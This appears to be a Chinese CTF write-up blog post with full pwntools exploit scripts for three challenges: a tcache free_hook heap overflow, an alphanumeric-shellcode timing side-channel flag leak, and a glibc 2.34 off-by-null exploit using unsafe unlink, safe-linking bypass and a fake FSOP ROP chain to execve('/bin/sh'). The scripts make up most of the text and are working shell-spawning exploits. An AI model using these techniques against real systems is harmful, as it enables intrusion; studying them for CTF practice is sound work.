记录学习一下。
chaos 逆完code是个简单的堆溢出,改size造unsorted bin拿基址,tcache打freehook即可
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) sh = process('./chall' ) libc = ELF('./libc-2.27.so' ) def create (size, content ): code ='''opcode:1\npasswd:Cr4at3x\n\n''' sh.sendafter('>>> ' , code) sh.sendlineafter('>>> ' , str (size)) sh.sendafter('>>> ' , content) def show (idx ): code ='''opcode:2\npasswd:SH0wx\n\n''' sh.sendafter('>>> ' , code) sh.sendlineafter('>>> ' , str (idx)) def edit (idx, content ): code ='''opcode:3\npasswd:Ed1tx\n\n''' sh.sendafter('>>> ' , code) sh.sendlineafter('>>> ' , str (idx)) sh.sendafter('>>> ' , content) def delete (idx ): code ='''opcode:4\npasswd:D3l4tex\n\n''' sh.sendafter('>>> ' , code) sh.sendlineafter('>>> ' , str (idx)) def PWN (): for i in range (14 ): create(0x208 , 'A' *0x208 ) edit(13 , 'Z' *0x208 +'\x00' *0x10 +p64(0x21 )+'\x00' *0x18 +p64(0x461 )) delete(12 ) create(0x208 , '\xa0' ) show(0 ) libc_base = u64(sh.recv(6 ).ljust(8 ,'\x00' ))-0x3ebca0 __free_hook = libc_base+libc.sym['__free_hook' ] system = libc_base+libc.sym['system' ] delete(4 ) delete(4 ) delete(4 ) edit(4 , 'A' *0x238 +p64(0x221 )+p64(__free_hook)) create(0x208 , 'sh\x00' ) create(0x208 , p64(system)) delete(1 ) sh.interactive() if __name__ == '__main__' : PWN()
ezshell 原题基础上加了个shellcode字符需为可见字符的限制 用alpha3转换
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 from pwn import *EXCV = context.binary = './chall' e = ELF(EXCV) context.arch='amd64' def alphanumeric (shellcode, mode=1 ): if mode == 1 : with open ('sc' , 'wb+' ) as f: f.write(asm(shellcode, arch='amd64' )) return os.popen( 'python ~/alpha3/ALPHA3.py x64 ascii mixedcase rdx --input="sc"' ).read().encode('ascii' ) else : with open ('sc' , 'wb+' ) as f: f.write(asm(shellcode, arch='i386' )) return os.popen( 'python ~/alpha3/ALPHA3.py x86 ascii mixedcase ebx --input="sc"' ).read().encode('latin1' ) def pwn (p, index, ch ): shellcode="" shellcode += "push 0x10100aaa; pop rdi; shr edi, 12; xor esi, esi; push 2; pop rax; syscall;" shellcode += "push 2; pop rax; syscall;" shellcode += "mov rdi, rax; xor eax, eax; push 0x50; pop rdx; push 0x10140aaa; pop rsi; shr esi, 12; syscall;" if index == 0 : shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-3;" .format (index, ch)+shellcraft.ret() else : shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-4;" .format (index, ch)+shellcraft.ret() shellcode = alphanumeric(shellcode,1 ) payload=shellcode.ljust(0x100 ,b'a' )+b'./flag' p.sendafter("code?\n" , payload) index = 0 ans = [] while True : for ch in range (0x20 , 127 ): p=process("./chall" ) pwn(p, index, ch) start = time.time() try : p.recv(timeout=2 ) except : pass end = time.time() p.close() if end-start > 1.5 : ans.append(ch) print ("" .join([chr (i) for i in ans])) break else : print ("" .join([chr (i) for i in ans])) break index = index + 1 print ("" .join([chr (i) for i in ans]))
overheap glibc2.34 没有malloc hook和free hook可以直接用了
裸off by null
unsafe unlink glibc2.29之后的unlink会检查prevsize和上一个chunk的size位是否相等,house of einherjar的方法就失效了 绕过的方法是借助unsorted bin切割留下的size,结合unsorted bin和large bin中残留的fd和bk,并利用partial overwrite构造,从而通过unlink中对双向链表完整性的检查,最终造成overlap
FSOP 其实我这里是一个伪fsop,官方exp我始终调不通,最后换了个方法getshell
先在堆上布置rop chain,这里最后用execve("/bin/sh", 0, 0)终结(system之类的打不通。。)
overlap以后通过tcache劫持tcache结构体,分别对_IO_2_1_stdout_和_IO_wfile_jumps进行控制
将_IO_wfile_jumps+0x18处改写为magic gadget地址 这一段gadget内容为1 2 3 4 5 6 mov rbp,QWORD PTR [rdi+0x48] mov rax,QWORD PTR [rbp+0x18] lea r13,[rbp+0x10] mov DWORD PTR [rbp+0x10],0x0 mov rdi,r13 call QWORD PTR [rax+0x28]
可以根据rdi对rbp控制,然后再根据rbp控制rax,进而控制rax+0x28为leave:ret,即可完成栈迁移(rdi指向stdout,可控)
最后改写_IO_2_1_stdout_结构体内容,并劫持其vtable指向_IO_wfile_jumps。这样就会在执行_overflow的时候执行上述布置好的一切,最终getshell
补充 glibc2.32之后对tcache和fastbin的next指针进行了加密1 2 3 4 5 6 7 8 9 10 11 12 #define PROTECT_PTR(pos, ptr) \ ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr))) #define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)
tcache添加fde->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]); fastbin添加fdp->fd = PROTECT_PTR (&p->fd, old);
可以看到pos就是指向fd的指针,也就是next chunk的地址,右移12bit抹去低位的信息(作为key),ptr为上一个chunk地址,二者进行异或得到加密的fd
reveal ptr则只需要一个参数ptr,因为该ptr的地址必然就指向上一个chunk。用指向ptr的指针,即chunk fd的地址右移用于抹去低位信息得到key,与加密的fd异或即可得到next指针
绕过: 需要注意的是当tcache中没有bin时,这时候放入一个chunk,与其异或的tcache->entries[tc_idx]为0,所以第一个tcache的fd内容就是key 假如能够泄露key,那么在利用tcache进行攻击的时候就只需要用这个key异或我们想申请到的地址,然后填入fd位置即可
还有一种方法是泄露出堆地址,这样在4096字节范围内右移12bit都能得到正确的key
本exp的方法是利用得到的堆地址计算偏移,用原方法异或加密指针后填回
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 from pwn import * context.arch = 'amd64' context.log_level = 'debug' r = process(["./ld.so" , "./overheap" ], env={"LD_PRELOAD" :"./libc.so.6" }) elf = ELF("./overheap" ) libc = ELF("./libc.so.6" ) def debug (s=None ): if (s == None ): gdb.attach(r) else : gdb.attach(r, s) pause() def add (sz ): r.sendlineafter(">> " , "1" ) r.sendlineafter("Size:" , str (sz)) def show (idx ): r.sendlineafter(">> " , "2" ) r.sendlineafter("id:" , str (idx)) def edit (idx, data ): r.sendlineafter(">> " , "3" ) r.sendlineafter("id:" , str (idx)) r.sendafter("Content:" , data) def dele (idx ): r.sendlineafter(">> " , "4" ) r.sendlineafter("id:" , str (idx)) add(0x518 ) add(0x128 ) add(0x518 ) add(0x538 ) add(0x128 ) add(0x528 ) add(0x128 ) dele(0 ) dele(3 ) dele(5 ) dele(2 ) add(0x538 ) show(0 ) b = u64( r.recv(6 ).ljust(8 , b'\x00' ) ) +0x6f20 -libc.symbols['__malloc_hook' ] libc.address = b r.recv(10 ) heap_base = u64( r.recv(6 ).ljust(8 , b'\x00' ) ) & 0xfffffffff000 info("libc: " + hex (b)) info("heap base: " + hex (heap_base)) edit(0 , b'a' * 0x518 + p64(0xCD0 )[:-1 ] + b'\n' ) add(0x518 ) add(0x528 ) add(0x518 ) dele(5 ) dele(2 ) add(0x518 ) edit(2 , b'a' *8 + b'\n' ) add(0x518 ) dele(5 ) dele(3 ) add(0x9F8 ) add(0x528 ) edit(5 , '\n' ) add(0x518 ) add(0x128 ) add(0x128 ) add(0x128 ) edit(6 , b'a' *0x120 + p64(0xCD0 )) dele(3 ) dele(8 ) dele(9 ) dele(4 ) add(0x538 ) add(0x188 ) tmp = heap_base + 0x1350 edit(4 , p64((heap_base + 0x10 ) ^ (tmp >> 12 ))[:-1 ] + b'\n' ) add(0x128 ) add(0x128 ) payload = b'\x00' *0x20 + p16(1 )*2 payload = payload.ljust(0x100 , b'\x00' ) payload += p64(libc.sym['_IO_2_1_stdout_' ]) + p64(libc.sym['_IO_wfile_jumps' ]) edit(9 , payload[:-1 ] + b'\n' ) add(0x118 ) add(0x128 ) magic = libc.address+0x000000000016c8ca pay = p64(0 )*3 +p64(magic)+b'\n' edit(12 , pay) fake_rbp = heap_base+0x8f0 leave_r = libc.address+0x000000000005a19c pop_rdi = libc.address+0x000000000002e6c5 p3_r = libc.address+0x2ea20 syscall = libc.address+0x000000000002dff4 prax_r = libc.address+0x0000000000049f00 prdx_prbx_r = libc.address+0x0000000000094389 prsi_r = libc.address+0x0000000000030081 ropchain = b'/bin/sh\x00' +p64(p3_r)+p64(0 ) ropchain+= p64(fake_rbp+0x20 -0x28 )+p64(leave_r) ropchain+= p64(pop_rdi)+p64(fake_rbp) ropchain+= p64(prsi_r)+p64(0 ) ropchain+= p64(prdx_prbx_r)+p64(0 )*2 ropchain+= p64(libc.sym['execve' ]) edit(0 , ropchain+b'\n' ) payload = p64(0xfbad2887 ) + p64(0 )*3 + p64(0 ) + p64(1 ) payload += p64(0 )*3 + p64(fake_rbp) payload += p64(0 )*3 + p64(libc.symbols['_IO_2_1_stdin_' ]) payload += p64(1 ) + p64(0xffffffffffffffff ) + p64(0 ) + p64(b + 0x21b730 ) + p64(0xffffffffffffffff ) payload += p64(0 ) + p64(b + 0x218a80 ) + p64(0 )*3 + p32(0xffffffff ) + p32(0 ) payload += p64(0 )*2 +p64(libc.sym['_IO_wfile_jumps' ]) edit(11 , payload[:-1 ] + b'\n' ) r.interactive()
还有一个protocol看不懂捏=-=